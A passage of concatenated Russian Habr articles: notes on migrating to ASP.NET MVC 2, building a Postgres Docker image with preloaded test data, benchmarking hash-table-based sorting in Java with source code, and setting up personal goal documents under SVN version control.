#### Изменилось поведение JsonResult
Начнем с такого класса как JsonResult. У меня с ним работает JQuery Grid. В MVC 2 JsonResult по умолчанию стал вовращать JSON не валидный для GET запросов, т.е. мой грид получал не валидный JSON и не мог его отоброзить. Лечится это изменением вызова.
`//convert to JSON and return to client
//Работало для GET запросов в MVC1
return Json(result);
//convert to JSON and return to client
//Для получения того же поведения в MVC2, нужно изменить вызов
return Json(result,JsonRequestBehavior.AllowGet);`
#### HTML хелперы теперь генерируют только валидные ID элементов формы
В моем проекте используется библиотека для валидации на стороне клиента и сервера, основанная на валидаторах и атрибутах из MS EnterpriseLibrary. Код для валидации на клиенте генерируется специальным классом. Выбор элементов формы для валидации на клиенте (скриптом) осуществляется на основе их ID. MVC1 генерировал ID на основе имени визуализируемого свойства объекта, то есть:
`<%= Html.TextArea("Имя_Настоящее", Model.Имя_Настоящее, 2, 30)%>`
Генерировал:
`textarea cols="30" id="Имя_Настоящее" name="Имя_Настоящее" rows="2"`
В MVC2 это поведение изменилось: хелпер генерирует только валидные ID, то есть в нашем случае не содержащие символов кириллицы. И… клиентская валидация не работала, т.к. ID у элемента «Имя\_Настоящее» не генерировался, а скрипт пытался его найти.
Решение проблемы для MVC2:
`<%= Html.TextArea("Имя_Настоящее", Model.Имя_Настоящее, 2, 30, new { id = "Имя_Настоящее" })%>`
Это не очень хорошее решение, т.к. я используя хард кодинг. Но благодаря паттерну MVC, почти всегда знаешь где нужно и что поменять в случае изменений в названиях. В МVC2 появились типизированные хелперы, которые помогают избавиться от этой нехорошей работы со строками во views.
#### Binder незаполненным полям html формы вместо String.Empty присваивает null
Суть отражена в заголовке. Пусть у меня есть nullable свойство в классе, но на нем стоит валидатор:
`[StringLengthValidator(250, MessageTemplate = "Не более 250 символов")]
public string Описание{get; set;}`
В MVC1 binder на незаполненном поле устанавливает String.Empty и валидатор отрабатывает без ошибок. String.Empty — строка в ноль символов и он ее пропускает.
В MVC2 binder устанавливает null, и валидатор возбуждает исключение. Валидация не проходит.
Чтобы решить проблему, я не стал писать свой binder, т.к. это вносит дополнительную сложность в проект. Я думаю что в проекте должно быть как можно меньше самописных элементов, и ради такого мелкого исправления свой binder писать нецелесообразно.
Я изменил свойства у объекта таким образом:
(Этот кусок функциональности хорошо локализован, можно сказать что не вносит дополнительных зависимостей)
`[StringLengthValidator(250, MessageTemplate = "Не более 250 символов")]
public string Описание
{
get
{
return this._Заказ.Описание;
}
set
{
if (value == null) this._Заказ.Описание = string.Empty;
else
this._Заказ.Описание = value;
}
}`
#### Binder считывает поля, помеченые с bind=exclude
Имеем следующий класс:
`[System.Web.Mvc.Bind(Exclude = "ИД_Заказа,ИД_Компании")]
public class ViewЗаказ : IViewЗаказ
{
public ViewЗаказ()
{
this._Заказ = new Заказ();
this._Заказ.КлиентReference.EntityKey =
new System.Data.EntityKey("ModelWebUchetCon.Клиенты", "ИД_Клиент", 0);
this._Заказ.ВалютаReference.EntityKey =
new System.Data.EntityKey("ModelWebUchetCon.Валюты", "ИД_Валюты", 0);
this._Заказ.ИсполнительReference.EntityKey =
new System.Data.EntityKey("ModelWebUchetCon.Пользователи", "ИД_Пользователя", 0);
this._Заказ.МенеджерReference.EntityKey =
new System.Data.EntityKey("ModelWebUchetCon.Пользователи", "ИД_Пользователя", 0);
this._Заказ.КомпанияReference.EntityKey =
new System.Data.EntityKey("ModelWebUchetCon.Компании", "ИД_Компании", 0);
this._Заказ.Описание = string.Empty;
}
public ViewЗаказ(Заказ Base)
{
this._Заказ = Base;
}
}`
У нас есть два конструктора — первый для создания полностью нового объекта, а второй для создания объекта на основе имеющегося. Первый конструктор инициализирует свои поля значениями, которые затем будут переписаны. В MVC1 binder работает (с целью валидации, считывания, записи) только с теми полями, которые не отфильтрованы атрибутом Bind, поэтому в первом конструкторе я их не инициализирую. В MVC2 используется валидация всей модели, то есть на валидность проверяются все свойства объекта, а следовательно считываются все, в том числе не инициализированные первым конструктором свойства и возбуждается исключение NullReference. Для преодоления такого поведения пришлось включить логику инициализации этих свойств. Возможно кто-то напишет атрибут для класса, отключающий полную валидацию модели. Есть пример [такого атрибута](http://blog.stevensanderson.com/2010/02/19/partial-validation-in-aspnet-mvc-2/) для всего контроллера.
#### Изменения в файле web.config
В .NET 4.0 web.config заметно почистился. Раньше все надстройки, появлявшиеся после .NET 2.0, регистрировались в этом файле. Сейчас когда вышла новая CLR, такая необходимость исчезла и вы можете заметно почистить свои конфиги. Для того чтобы все прошло ровно рекомендую сделать так:
* Сделать бэкап старого конфига.
* Создать новый проект MVC2.
* Подключить к новому проекту все сборки, нужные вам в проекте где “подчищаем конфиги”.
* Добавить в новый конфиг из старого: строки подключения, app settings, data providers, все что касается безопасности и, если имеются, ваши самописные moduls, handlers.
* Добавить в целевой проект новый конфиг.
##### Заключение
Как мы знаем переход на новую версию .net не всегда бывает безболезненным. Microsoft каждые два года радует и разочаровывает нас. В этой статье я описал в основном то, что заставило меня несколько разочароваться и попотеть Нужно было заново тестировать проект, искать и исправлять неочевидные ошибки времени выполнения (раньше все работало). Правда я сумел найти ошибки, связанные с тем, что IE кэширует ajax запросы. То есть я нашел реальную ошибку, имевшую место в проекте. Есть плюс. | https://habr.com/ru/post/96825/ | null | ru | null |
# Docker контейнер с данными на Postgres для интеграционного тестирования и лёгким расширением
Про использование `Docker` и `Docker-compose` последнее время написано очень много, например рекомендую [недавнюю статью на Хабре](https://habrahabr.ru/post/322440/), если вы до сих пор не прониклись. Это действительно очень удобно, а [в связке в ansible](https://habrahabr.ru/post/217689/) особенно. И я его использую везде. От разработки, до автоматического интеграционного тестирования на `CI`. [Про использование в тестировании, тоже писали](https://habrahabr.ru/post/275513/). Это здорово и удобно. **Однако, для локальной разработки, для траблешутинга данных "как в продакшене" или тестирование производительности, на "объёмах близких в продакшену", хочется иметь под рукой образ, содержащий базу, "как в продакшене"!**
Соответственно, хочется, чтобы каждый разработчик, приступая к работе над проектом, мог запустить его одной командой, например:
```
./gradlew dockerRun
```
и приложение поднялось бы сразу со всеми необходимыми связанными контейнерами? А главное чтобы в нём уже были бы данные для большинства кейсов разработки и багфиксинга, стандартные пользователи и большинство работающих сервисов, над которыми сразу можно было бы приступить работать, не тратя времени на экспорт-импорт каких-то там образов или демоданных!
***Как приятный бонус, ну разве не здорово иметь базу данных в несколько гигабайт и возможность откатиться к её исходному (или любому другому коммиту) состоянию в течении пары секунд?***
Разумеется мы поговорим о написании `Dockerfile` для такого образа с данными, и некоторых подводных камнях этого процесса.
Вот на этом и сосредоточимся. В нашем приложении мы активно используем `Postgres`, поэтому повествование и примеры будут о контейнере именно с ним, но это касается лишь примеров, суть изложения применима к любой другой реляционной или модной `NoSQL` базе данных.
Чего хочется
------------
Для начала определим проблему подробнее. Мы готовим образ, **с данными**, с которыми сможет работать каждый, кто работает с нашим приложением:
* Некоторые данные нуждаются в обфускации (например почтовые ящики или личные данные пользователей) — то есть нельзя просто восстановить дамп, требуется его обработка
+ Однако мы хотим **общий механизм накатывания предоставленных для сборки SQL скриптов**, без дальнейшей модификации механизма сборки! Например это может использовать для семплинга (уменьшения количества данных) и уменьшения размера образа
* **Хочется удобно включать в образ дополнительные настройки**, не передавая их опциями во время запуска и не модифицируя каждый раз конфиг сложными регулярными выражениями
+ Мы хотим **включить в образ некоторые расширения конфигурации**, чтобы не писать огромные мануалы как его запускать (передавая обязательные для старта опции в момент запуска)
+ Данных много, поэтому хочется также включить оптимизационные настройки для увеличения производительности
+ Вообще, для многих настроек, вы можете это сделать через стандартные пути расширения, выполнив [ALTER SYSTEM](https://www.postgresql.org/docs/current/static/sql-altersystem.html) команды. [Но это только для тех настроек, которые не требуют определения только в конфигурацонном файле или параметрах запуска](https://www.postgresql.org/docs/current/static/config-setting.html).
* Данные одинаковые, для разработчиков и `CI`
Приступаем
==========
Я не буду начинать с того что такое `Dockerfile`, надеюсь вы уже знакомы с этим. Тех же, кто хочет получить представление, [отсылаю к статье](https://habrahabr.ru/company/infobox/blog/240623/), ну или [официальной документации](https://docs.docker.com/engine/reference/builder/#usage).
Стоит отметить что официальный [docker образ postgres](https://hub.docker.com/_/postgres/) уже имеет несколько точек расширения:
* `POSTGRES_*` переменные
* И директорию внутри образа `/docker-entrypoint-initdb.d` куда можно положить sh скрипты или `sql` файлы, которые будут выполнены на старте. Это очень удобно, если вы скажем хотите создать дополнительных пользователей или базы данных, установить права, проинициализировать расширения.
Однако, для наших целей этого мало:
* Мы не можем включать некоторые данные, затирая их на старте:
+ Во-первых это может привести к огромному размеру БД (мы хотим удалить некоторые логи или историю)
+ Во вторых, пользователь может запустить образ переопределив `entrypoint`, и увидеть приватные данные, которые видеть не должен
* Дополнительно, мы можем передавать практически любые параметры в командной строке при запуске, вроде `--max_prepared_transactions=110`, но мы не можем легко положить их в образ, и сделать стандартными
+ Так, например, раз мы строим образ для тестирования и имеем быстрый откат, я хочу включить в него агрессивные настройки оптимизации производительности, нежели надёжности (включая полное отключение `fsync`)
Я наверное сразу покажу прототип файла (вырезаны лишь некоторые незначащие части чтобы он стал меньше, например много места занимает включение расширения `pg_hint_plan`, которое ставится на `Debian` из `RPM`, потому что отсутствует в `Deb` и официальных репозиториях):
**Dockerfile**
```
FROM postgres:9.6
MAINTAINER Pavel Alexeev
# Do NOT use /var/lib/postgresql/data/ because its declared as volume in base image and can't be undeclared but we want persist data in image
ENV PGDATA /var/lib/pgsql/data/
ENV pgsql 'psql -U postgres -nxq -v ON_ERROR_STOP=on --dbname somedb'
ENV DB_DUMP_URL 'ftp://user:password@ftp.somehost.com/desired_db_backup/somedb_dump-2017-02-21-16_55_01.sql.gz'
COPY docker-entrypoint-initdb.d/* /docker-entrypoint-initdb.d/
COPY init.sql/* /init.sql/
# Later in RUN we hack config to include conf.d parts.
COPY postgres.conf.d/* /etc/postgres/conf.d/
# Unfortunately Debian /bin/sh is dash shell instead of bash (https://wiki.ubuntu.com/DashAsBinSh) and some handy options like pipefaile is unavailable
# Separate RUN to next will be in bash instead of dash. Change /bin/sh symlink as it is hardcoded https://github.com/docker/docker/issues/8100
RUN ln -sb /bin/bash /bin/sh
RUN set -euo pipefail \
&& echo '1) Install required packages' `# https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#apt-get` \
&& apt-get update \
&& apt-get install -y \
curl \
postgresql-plperl-9.6 \
&& echo '3) Run postgres DB internally for init cluster:' `# Example how to run instance of service: http://stackoverflow.com/questions/25920029/setting-up-mysql-and-importing-dump-within-dockerfile`\
&& bash -c '/docker-entrypoint.sh postgres --autovacuum=off &' \
&& sleep 10 \
&& echo '4.1) Configure postgres: use conf.d directory:' \
&& sed -i "s@#include_dir = 'conf.d'@include_dir = '/etc/postgres/conf.d/'@" "$PGDATA/postgresql.conf" \
&& echo '4.2) Configure postgres: Do NOT chown and chmod each time on start PGDATA directory (speedup on start especially on Windows):' \
&& sed -i 's@chmod 700 "$PGDATA"@#chmod 700 "$PGDATA"@g;s@chown -R postgres "$PGDATA"@#chown -R postgres "$PGDATA"@g' /docker-entrypoint.sh \
&& echo '4.3) RERun postgres DB for work in new configuration:'\
&& gosu postgres pg_ctl -D "$PGDATA" -m fast -w stop \
&& sleep 10 \
&& bash -c '/docker-entrypoint.sh postgres --autovacuum=off --max_wal_size=3GB &' \
&& sleep 10 \
&& echo '5) Populate DB data: Restore DB backup:' \
&& time curl "$DB_DUMP_URL" \
| gzip --decompress \
| grep -Pv '^((DROP|CREATE|ALTER) DATABASE|\\connect)' \
| $pgsql \
&& echo '6) Execute build-time sql scripts:' \
&& for f in /init.sql/*; do echo "Process [$f]"; $pgsql -f "$f"; rm -f "$f"; done \
&& echo '7) Update DB to current migrations state:' \
&& time java -jar target/db-updater-*.jar -f flyway.url=jdbc:postgresql://localhost:5432/somedb -f flyway.user=postgres -f flyway.password=postgres \
&& echo '8) Vacuum full and analyze (no reindex need then):' \
&& time vacuumdb -U postgres --full --all --analyze --freeze \
&& echo '9) Stop postgres:' \
&& gosu postgres pg_ctl -D "$PGDATA" -m fast -w stop \
&& sleep 10 \
&& echo '10) Cleanup pg_xlog required to do not include it in image!:' `# Command inspired by http://www.hivelogik.com/blog/?p=513` \
&& gosu postgres pg_resetxlog -o $( LANG=C pg_controldata $PGDATA | grep -oP '(?<=NextOID:\s{10})\d+' ) -x $( LANG=C pg_controldata $PGDATA | grep -oP '(?<=NextXID:\s{10}0[/:])\d+' ) -f $PGDATA \
&& echo '11(pair to 1)) Apt clean:' \
&& apt-get autoremove -y \
curl \
&& rm -rf /var/lib/apt/lists/*
```
Как видите, я постарался добавить комментарии прямо в файл, возможно они даже более чем исчерпывающие, но всё-таки остановимся на паре моментов подробнее.
#### Стоит обратить внимание
1. Мы переопределяем `ENV PGDATA /var/lib/pgsql/data/`. Это ключевой момент. т.к. мы **хотим, чтобы заполненные данные во время билда были включены в образ**, мы не должны класть их в стандартное место, [определённое как volume](https://github.com/docker-library/postgres/blob/3d4e5e9f64124b72aa80f80e2635aff0545988c6/9.6/Dockerfile#L62).
2. Переменная `DB_DUMP_URL` определена просто для удобства последующего редактирования. При желании её можно передавать извне, во время билда.
3. Далее мы запускаем `Postgres` прямо во время процесса билда: `bash -c '/docker-entrypoint.sh postgres --autovacuum=off &'` для того чтобы провести некоторые нехитрые конфигурации:
* С помощью `sed` включаем в основном [`конфиге postgres.conf` использование `include_dir`](https://www.postgresql.org/docs/current/static/config-setting.html#CONFIG-INCLUDES). Нам это нужно для того чтобы свести к минимуму такие манипуляции с конфигом, иначе их будет очень сложно поддерживать, но зато мы обеспечили неограниченную расширяемость конфигурации! Обратите внимание, немного выше мы используем директиву `COPY postgres.conf.d/* /etc/postgres/conf.d/` чтобы положить куски конфигов, специфичные именно для нашего билда.
+ Данный механизм [был предложен сообществу в качестве issue](https://github.com/docker-library/postgres/issues/232) для включения в базовый образ, и хотя уже вызвал вопросы как я делал (что и навело на мысль что это может быть кому-то полезно и поводом для написания статьи), пока запрос был закрыт, но я не теряю надежду на переоткрытие.
* Я также убираю (комментирую) из основного файла инструкции `chown` и `chmod`, поскольку т.к. база проинициализирована, то файлы будут уже иметь в образе верных пользователей и права, но опытным путём выяснилось, что на версии docker под Windows эта операция почему-то может занимать весьма продолжительное время, вплоть до десятков минут.
* **Обратите пожалуйста также внимание, что мы должны сначала запустить `Postgres`, а только потом его пробовать настроить!** Иначе мы получим ошибку на старте что директория для инициализации кластера не пуста!
* Дальше я перезапускаю `Postgres` чтобы перечитать конфиги, которые мы подкладывали и настраивали читать. Строго говоря, этот шаг вовсе не обязательный. Однако по умолчанию он имеет очень консервативные настройки по памяти вроде `shared_buffers = 128MB`, и работа со сколь-либо значительными затягивается на часы.
4. В следующем шаге всё должно быть понятно — просто восстанавливаем дамп. А вот за ним, конструкция `/init.sql/*` применит все `SQL` скрипты из этой директории, во время создания образа (в противовес скриптам стандартного расширения). Именно здесь мы делаем необходимую обфускацию данных, сэмплирование, очистку, добавление тестовых пользователей и т.п.
* Именно это выполнение всех скриптов позволит в следующий раз не трогать процедуру билда, а лишь добавить пару файлов в эту директорию, делающих ещё что-то с вашими данными!
5. Чтобы уменьшить образ а также сделать его немного более эффективным, мы выполняем на нём [полный вакуум с анализом](https://www.postgresql.org/docs/current/static/app-vacuumdb.html).
* Стоит заметить, именно это позволяет нам для ускорения импорта запускать `Postgres` с отключенным [автовакуумом](https://www.postgresql.org/docs/current/static/runtime-config-autovacuum.html) (`--autovacuum=off`)
* Также, для целей уменьшения образа, я дальше использую `pg_resetxlog` чтобы сбросить и не включать накопившиеся [WAL](https://www.postgresql.org/docs/current/static/wal-intro.html). А при запуске использую `--max_wal_size=3GB` чтобы увеличить размер файла и не ротэйтить их лишний раз.
* Очистка APT кеша стандартна, следуя рекомендациям в [лучших практиках](https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#apt-get).
Готовому образу остаётся только присвоить тэг и запушить в репозиторий. Чаще всего, конечно, это будет приватный репозиторий, если вы не работает над каким-то публичным сэмплом данных.
Я буду очень рад, если это поможет кому-то сделать его процесс подготовки создания тестовых образов с данными хоть чуточку проще. | https://habr.com/ru/post/328226/ | null | ru | null |
# Сортировка… хэш-таблицей (ещё подсчётом-деревом и HashMap'ом)
Три дня назад я задумался об объединении сортировки подсчётом и деревом. Обсудив её с коллегой, пришли к следующему решению: вместо TreeSet использовать HashMap (при чём здесь вообще TreeSet, можно посмотреть ниже). Но и этого мне показалось мало, так что я решил реализовать собственную хэш-таблицу и посмотреть, что из этого выйдет. Результаты показались мне довольно интересными.
Все три типа сортировки отлично подходит для случаев, когда мощность множества уникальных элементов в массиве относительно мала (что под этим понимать, станет понятно после того, как мы взглянем на результаты тестов).
#### Сортировка подсчётом-деревом
Строим дерево Пар (Ключ, Количество), где Ключ отвечает за элемент массива, а Количество — количество повторений этого эл-та массива. Дерево, естественно, сбалансированное, чёрно-красное, например.
Далее всё логично. Добавляем все элементы массива в Пару, а Пару ищем в дереве (чтобы избежать пересоздания объектов используем заранее созданную Пару, у которой меняем Ключ. Здесь Количество нас не интересует, поскольку мы ищем соответствие исключительно по Ключу). Если такой Ключ уже есть, увеличиваем Количество, иначе добавляем новую Пару (Ключ, 1).
Переписываем массив, удаляя каждый раз вершину и записывая Ключ столько раз, сколько у него Количество.
Чтобы не реализовывать дерево самому, для описанного алгоритма использовал TreeSet, который работает на чёрно-красном дереве.
#### Использование HashMap
В качестве ключа будем хранить элемент массива, в качестве значения по ключу — количество повторений.
#### Использование моей собственной хэш-таблицы
Я решил прибегнуть к методу открытой адресации. В хэш-таблице храним объекты класса Пара, где first — ключ, second — количество повторений. Естественно, был добавлен конструктор, принимающий начальный размер таблицы и load factor. Хэш-функция самая простая: берём ключ по модулю, в случае повторного обращения добавляем единицу (единица хорошо подходит тем, что массив ключей получается наиболее упорядоченным, а в конце нам придётся отсортировать все ключи стандартной быстрой сортировкой, ведь в таблице они могут получиться не упорядоченными). Так что можно сказать, что это объединение хэширования и ещё одной сортировки.
#### Коллизии
Очевидно, могут возникать коллизии и это плохо скажется как на времени определения хэша, так и на скорости сортировки итогового массива хэшей (упорядоченные или почти упорядоченные данные сортируются быстрее). Но вот в чём дело: наша хэш-ф-я изменяется по мере расширения таблицы. Так что специально подобрать такие данные, становится значительно сложнее. Более того, можно сделать случайными (в определённом диапазоне, конечно) load factor и коэффициент расширения, что сделает невозможным заранее подобрать значения, приводящие к коллизиям. Ну и если в одной таблице одни данные приводили к коллизиям, то после перехэша, количество коллизий может значительно сократиться (в несколько раз). Слабым местом будут являться факториалы чисел, но их неимоверно мало (до 2^31, например, их всего 11 (не учитывая 0)).
Нам не подойдут криптографические хэш-ф-и ввиду того, что с ними про почти упорядоченный массив хэшей (в смысле упорядоченности по ключам) можно забыть.
#### Время работы
Сортировка подсчётом-деревом: в худшем случае за O(n log n), в лучшем — за линейное время.
Сортировка хэш-таблицей: время на хэширование + сложность сортировки массива хэшей (может изменяться в зависимости от выбранного алгоритма и реализации, так что здесь ничего указывать не буду). Дать оценку сложности трудно ввиду использования хэш-функции и возможных различных подходов к сортировке хэшей. Этот вопрос нуждается в дополнительном исследовании, однако очевидно, что в худшем случае (когда входные данные будут намеренно подобраны под конкретную на конкретном этапе выполнения хэш-функцию) время работы будет O(n^2).
#### Что по памяти?
Сортировка подсчётом-деревом потребует O(distinct(n)) дополнительной памяти
Для хэш-таблицы нам потребуется O(distinct(n)) памяти + память для сортировки хэшей (зависит от выбранного алгоритма).
Вот какие результаты в миллисекундах у меня получились на рандомных числах при сортировке массива объектов на 10 млн эл-тов, с диапазоном значений [0; x]:
На тестах load factor в моей хэш-таблице = 0.75, initial capacity = 20, увеличивается таблица каждый раз вдвое
При x = 10:
2044 — встроенная
285 — подсчётом-деревом (Usatov sort)
276 — HashMap (Usatov-Prokurat sort)
140 — моей хэш-таблицей (Usatov-Prokurat sort using MyHashTable)
x = 100:
2406 — встроенная
455 — подсчётом-деревом
283 — HashMap
134 — хэш-таблицей
x = 1\_000:
2171 — встроенная
930 — подсчётом-деревом
380 — HashMap
209 — хэш-таблицей
x = 10\_000
2879 — встроенная
1666 — подсчётом-деревом
634 — HashMap
326 — хэш-таблицей
x = 100\_000
4045 — встроенная
2899 — подсчётом-деревом
866 — HashMap
762 — хэш-таблицей
x = 1\_000\_000
4997 — встроенная
5762 — подсчётом-деревом
2505- HashMap
1294 — хэш-таблицей
x = 10\_000\_000
5083 — встроенная
11480 — подсчётом-деревом
5099 — HashMap
3240 — хэш-таблицей
Как я и говорил в начале, эти сортировки лучше всего подходят для тех случаев, когда мощность множества элементов массива достаточно мала относительно размера массива.
Также стоит отметить, что встроенная сортировка намного быстрее работает на упорядоченных (почти упорядоченных) данных (или массиве в обратном порядке), но мой способ быстрее справляется на рандомных числах.
Сортировка подсчётом-деревом:
```
static void usatovSort(Integer[] arr) {
TreeSet tree = new TreeSet<>();
MyPair temp;
MyPair mp = new MyPair();
for (int i : arr) {
temp = mp;
temp.first = i;
temp = tree.ceiling(temp);
if (temp != null && temp.first == i) // порядок условий важен, т.к если первое не выполняется, то проверка второго не производится
temp.second++;
else tree.add(new MyPair(i, 1));
}
int ptr = 0;
while (!tree.isEmpty()) {
temp = tree.pollFirst();
for (int i = 0; i < temp.second; i++)
arr[ptr++] = temp.first;
}
}
```
Сортировка через HashMap:
```
static void usatovProkuratSortUsingHashMap(Integer[] arr) {
HashMap hm = new HashMap<>();
Integer temp;
for (Integer i : arr) {
temp = hm.get(i);
if (temp == null) hm.put(i, 1);
else hm.put(i, temp + 1);
}
ArrayList keys = new ArrayList<>(hm.keySet().size());
keys.addAll(hm.keySet());
keys.sort(Comparator.naturalOrder());
int ptr = 0;
for (Integer i : keys)
for (int j = 0; j < hm.get(i); j++)
arr[ptr++] = i;
}
```
Сортировка через мою хэш-таблицу:
```
static void usatovProkuratSortUsingMyHashTable(Integer[] arr) {
MyHashTable mht = new MyHashTable();
for (Integer i : arr)
mht.add(i);
MyPair[] res = mht.getPairs();
int ptr = 0;
Arrays.sort(res, Comparator.comparingInt(o -> o.first));
for (MyPair mp : res)
for (int i = 0; i < mp.second; i++)
arr[ptr++] = mp.first;
}
```
Реализация хэш-таблицы:
```
public class MyHashTable {
private MyPair[] hashArr;
private double count = 0;
private double loadFactor = 0.5;
private double expansivity = 2;
private static final int DEFAULT_CAPACITY = 20;
public MyHashTable() {
hashArr = new MyPair[DEFAULT_CAPACITY];
}
public MyHashTable(double loadFactor) {
hashArr = new MyPair[DEFAULT_CAPACITY];
this.loadFactor = loadFactor;
}
public MyHashTable(int capacity) {
hashArr = new MyPair[capacity];
}
public MyHashTable(int capacity, double loadFactor) {
hashArr = new MyPair[capacity];
this.loadFactor = loadFactor;
}
public MyHashTable(int capacity, double loadFactor, double expansivity) {
hashArr = new MyPair[capacity];
this.loadFactor = loadFactor;
this.expansivity = expansivity;
}
public MyPair[] getPairs() {
MyPair[] pairs = new MyPair[(int) count];
int ptr = 0;
for (MyPair i : hashArr)
if (i != null)
pairs[ptr++] = i;
return pairs;
}
public MyPair get(int key) {
int add = 0;
while (true)
if (hashArr[(key + add) % hashArr.length].first == key) {
return hashArr[(key + add) % hashArr.length];
} else if (add++ == hashArr.length) return null;
}
public void add(int key) {
if (count / hashArr.length >= loadFactor) grow();
int add = 0;
while (true) {
if (hashArr[(key + add) % hashArr.length] == null) {
hashArr[(key + add) % hashArr.length] = new MyPair(key, 1);
count++;
return;
}
if (hashArr[(key + add) % hashArr.length].first == key) {
hashArr[(key + add) % hashArr.length].second++;
return;
}
add++;
}
}
public void add(MyPair newMP) {
if (count / hashArr.length >= loadFactor) grow();
int add = 0;
while (true) {
if (hashArr[(newMP.first + add) % hashArr.length] == null) {
hashArr[(newMP.first + add) % hashArr.length] = newMP;
count++;
return;
}
if (hashArr[(newMP.first + add) % hashArr.length].first == newMP.first) {
hashArr[(newMP.first + add) % hashArr.length].second += newMP.second;
return;
}
add++;
}
}
private void grow() {
MyPair[] oldHash = hashArr;
hashArr = new MyPair[(int) (expansivity * hashArr.length)];
for (MyPair i : oldHash)
if (i != null)
innerAdd(i);
}
private void innerAdd(MyPair mp) {
int add = 0;
while (true) {
if (hashArr[(mp.first + add) % hashArr.length] == null) {
hashArr[(mp.first + add) % hashArr.length] = mp;
return;
}
if (hashArr[(mp.first + add) % hashArr.length].first == mp.first) {
hashArr[(mp.first + add) % hashArr.length].second += mp.second;
return;
}
add++;
}
}
}
```
Класс Пара:
```
public class MyPair implements Comparable {
public int first;
public int second;
public MyPair() {
}
public MyPair(int first, int second) {
this.first = first;
this.second = second;
}
@Override
public int compareTo(MyPair o) {
return first - o.first;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
MyPair myPair = (MyPair) o;
return first == myPair.first;
}
@Override
public int hashCode() {
return first;
}
}
``` | https://habr.com/ru/post/418355/ | null | ru | null |
# Личные цели: контроль версий и красивая распечатка одним щелчком
Приветствую уважаемое сообщество! Как многие успели заметить, прошлый год давно кончился — успешно??? Чтобы с уверенностью судить об этом каждому лично для себя, полезно обзавестись "системой отчетности". Или, по выражению классика, [PAS](http://www.stevepavlina.com/blog/2005/02/your-personal-accountability-system/). В более ранних статьях того же автора приводятся [обоснование](http://www.stevepavlina.com/articles/power-of-clarity.htm), [пример использования](http://www.stevepavlina.com/blog/2004/10/quarterly-planning-time/) и [обсуждение практик](http://www.stevepavlina.com/blog/2004/10/more-on-planning/). В частности, высказана критика в адрес большинства программных инструментов для планирования (так называемый "hi-tech" самоменеджмента). Основная претензия — нехватка гибкости. В этом, преимущество за "mid-tech" и "low-tech" средствами (notepad, карандаш и бумага, пластиковые файлы и байндеры на кольцах — продолжите сами...).
Зачем и как
-----------
Ставя цели и составляя планы, хочется работать с цифровыми документами — легче править. (А для актуальности, переписывать цели и планы советуют *часто*!) С другой стороны, в бумажной форме — удобнее воспринимать, перечитывая "для вдохновения". Значит — распечатывать! На печати желательно иметь читабельные заголовки, списки-отступы и т.д., но заниматься этим на ходу — значит отвлекать себя от главного. В такой ситуации, логическое форматирование — привлекательное решение (wiki, TeX и т.п.). Правда, придется поступиться принципом WYSIWYG… Зато, формат простого текста дает еще одну ценную возможность: держать исходники под контролем версий, подробнее об этом — ниже. И конечно, весь набор из полудюжины-десятка документов (причем, у каждого он свой!) нужно обрабатывать — например, отсылать на распечатку — пакетом, а не возиться по отдельности.
Что получится
-------------
Теперь, когда ожидания в целом очерчены, можно задуматься над реализацией. Обойдемся всего лишь стандартными средствами, главное — в нужном сочетании! В результате, из набора несложных инструментов получим систему и функциональную, и гибкую. Кроме того, собрав "на коленке" нечто немудрящее, но донельзя удобное, испытываешь неповторимое [DIY](http://habrahabr.ru/blogs/DIY/)-чувство. Инструкции ниже и 40 минут времени — и вы счастливый обладатель "персональной системы отчетности" с головокружительными возможностями:
* **Многостраничный интерфейс** с настраиваемыми закладками: цели на жизнь-год-квартал-месяц по отдельным документам в формате простого текста.
* **Логическое форматирование** текста: заголовки, списки, **жирный** и *курсив*… (синтаксис wiki).
* **Отслеживание изменений** между версиями документов (средствами SVN).
* **Просмотр** в браузере, **распечатка** всех страниц одним щелчком.
* Для поклонников бумажных органайзеров **БОНУС**!!! Календарь (на любой месяц) и распорядок (семь дней) — бланки составляются сами!
Цель — заманчива и притягательна, так что — поехали!
1. Редактирование в Notepad++
-----------------------------
Все, кто еще не пользуется — [скачиваем](http://notepad-plus-plus.org/download/)! Главный аргумент "за" — многодокументный интерфейс с закладками. Еще из хорошего — много настроек на любой вкус. Из них одну нужно **включить обязательно**:
`Settings > Preferences > New Document > Encoding > "UTF-8 without BOM"`
Это нужно, чтобы правильно отрабатывал транслятор в html.
Создадим отдельные файлы для целей/планов на разные сроки, например:
1. формулировка миссии;
2. долгосрочные цели (3-10 лет);
3. цели на ближайшие 18 месяцев;
4. цели на квартал;
5. план на квартал;
6. цели и план на месяц.
Содержание файлов, конечно, индивидуально. Примеры структурирования текста (заголовки, списки, таблицы) можно посмотреть в Приложениях [A](#AppendixA), [B](#AppendixB) и [C](#AppendixC).
2. Отслеживание изменений при помощи TortoiseSVN
------------------------------------------------
Использовать контроль версий данных можно, например, так. Начало месяца — поставлены цели, сохранена версия. При каждом пересмотре с распечаткой — сохранение отдельной версии. Конец месяца — заменяем в списках дефисы (`-`) на плюсы (`+`), если цель достигнута, и сохраняем (можно без распечатки). Цели на следующий месяц набираем в том же файле — распечатка, сохранение. Так получится, что позже можно припомнить, какие цели ставились, как изменялись и были ли достигнуты.
Для начала создадим структуру каталогов и запишем в них исходные текстовые файлы (созданные в `Notepad++`, чтобы кодировка была — `UTF-8`). Структура, например, такая:
```
[PurposeMissionGoals]
|--[html]
|--[tools]
|--1_Slogans.txt
|--2_LongTermGoals.txt
|--3_MidTermGoals.txt
|--4_QuarterlyGoals.txt
|--5_QuarterlyPlan.txt
|--6_MonthlyGoalsAndPlan.txt
```
Дальше — что кому больше по вкусу. Можно импортировать данные в централизованный репозиторий (если уже есть поднятый сервер), а можно — создать репозиторий локально и импортировать туда. На всякий случай (вдруг и гуманитариям статься пригодится), второй вариант — подробнее.
1. Установить [TortoiseSVN](http://tortoisesvn.net/downloads.html) — это клиент для системы контроля версий, а в нашем случае — также и сервер. После установки в контекстном меню проводника появляется пункт *`TortoiseSVN`*.
2. Создать каталог, например, `D:\planning\PurposeMissionGoalsRepository`. Здесь будут храниться данные. Щелкнуть на этом каталоге правой кнопкой, выбрать *`TortoiseSVN > Create repository here`*.
